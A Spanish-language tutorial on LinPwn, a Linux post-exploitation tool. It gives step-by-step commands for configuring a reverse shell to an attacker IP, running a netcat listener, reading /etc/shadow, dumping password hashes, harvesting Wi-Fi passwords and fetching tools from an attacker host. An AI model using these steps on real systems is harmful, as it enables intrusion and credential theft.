LinPwn es una herramienta interactiva de post-explotación diseñada para la fase de enumeración y escalada de privilegios en sistemas Linux, una vez que ya se ha obtenido acceso inicial a una máquina objetivo.
Funciona estableciendo una conexión de shell inversa (reverse shell) desde la máquina objetivo hacia la máquina atacante, y ofrece una interfaz CLI propia con comandos especializados.
nc -lvp 4444
TCP conexión
./LinPwn
máquina comprometida
(LinPwn) > y comandos internos.nc -lvp).g++ antes de usarse. El script build.sh simplifica el proceso.Comandos Internos de LinPwn
| Comando | Descripción |
|---|---|
| shell | Ejecuta /bin/sh en el sistema objetivo — abre una shell interactiva completa para ejecutar comandos del sistema. Salir con exit vuelve al prompt de LinPwn. |
| readfile | Imprime el contenido de un archivo especificado. Útil para leer /etc/passwd, /etc/shadow u otros archivos sensibles. |
| enumerate | Ejecuta el script LinEnum.sh — herramienta popular de enumeración de Linux que recopila información detallada del sistema: SUID, capabilities, cron jobs, sudo, etc. |
| download | Descarga un archivo en la máquina objetivo desde una URL. Permite transferir herramientas adicionales al objetivo. |
| wificredz | Intenta recopilar las contraseñas guardadas de redes Wi-Fi del sistema objetivo. |
| hashdump | Recopila los hashes de contraseñas del sistema. Útil para ataques offline de cracking posterior. |
Paso 2.1 — Clonar el Repositorio
git clone https://github.com/Andromeda1957/LinPwn.git cd LinPwn
Paso 2.2 — Compilar el Binario
El repositorio incluye un script build.sh que simplifica la compilación. Necesitas g++ instalado — en Kali Linux ya está disponible por defecto.
bash build.sh
// Opciones disponibles del script build.sh
bash build.sh --default
// Compilación exitosa con bash build.sh --default generando el binario LinPwn
g++) instalado. En Kali Linux ya está disponible. En otros sistemas: sudo apt install g++Paso 3.1 — Configurar IP y Puerto en el Código Fuente
nano LinPwn.cc # o vim / geditclass Connection { string ip = "192.168.1.XX"; // ← Tu IP de atacante int port = 4444; // ← Puerto de escucha };
// Clase Connection en LinPwn.cc con IP y puerto a configurar
// Detalle de los campos IP y puerto en el código fuente
bash build.sh --default
Paso 3.2 — Configurar el Listener (Máquina Atacante)
nc -lvp 4444 # Reemplaza 4444 con tu puerto configurado// Netcat en escucha en el puerto 4444, esperando conexión entrante
Paso 3.3 — Ejecutar LinPwn en la Máquina Objetivo
Una vez que el listener está activo, transfiere el binario LinPwn a la máquina objetivo y ejecútalo:
chmod +x LinPwn
sudo ./LinPwn
// Ejecución de LinPwn en la máquina objetivo — estableciendo conexión al listener
Paso 3.4 — Usar LinPwn (Máquina Atacante)
Si la conexión se establece con éxito, en la terminal de netcat aparecerá el prompt interactivo de LinPwn:
Connection received! (LinPwn) > help (LinPwn) > readfile /etc/passwd (LinPwn) > hashdump (LinPwn) > wificredz (LinPwn) > download http://192.168.1.XX/tool.sh
// Prompt interactivo de LinPwn en la terminal de netcat tras la conexión exitosa
Comando: enumerate
El comando enumerate ejecuta automáticamente LinEnum.sh en la máquina objetivo y muestra su output en la terminal del atacante. LinEnum.sh recopila:
Información del sistema · Usuarios y grupos · Binarios SUID/SGID · Capabilities · Tareas cron · Configuración sudo · Servicios corriendo · Contraseñas en texto plano · Versiones de software vulnerable · y mucho más.
(LinPwn) > enumerate// Salida del comando enumerate ejecutando LinEnum.sh en la máquina objetivo
Comando: shell
El comando shell abre una sesión /bin/sh interactiva completa en la máquina objetivo. Cambia el prompt a (LinPwn: Shell) > para indicar que estás en modo shell.
(LinPwn) > shell (LinPwn: Shell) > id uid=0(root) gid=0(root) groups=0(root) (LinPwn: Shell) > whoami root (LinPwn: Shell) > cat /etc/shadow (LinPwn: Shell) > exit # Vuelve al prompt de LinPwn (LinPwn) >
// Modo shell interactivo de LinPwn con comandos id y whoami ejecutados
enumerate primero para obtener un mapa completo del sistema → identificar vectores de escalada → usar shell para explotar los vectores encontrados → hashdump para extraer credenciales.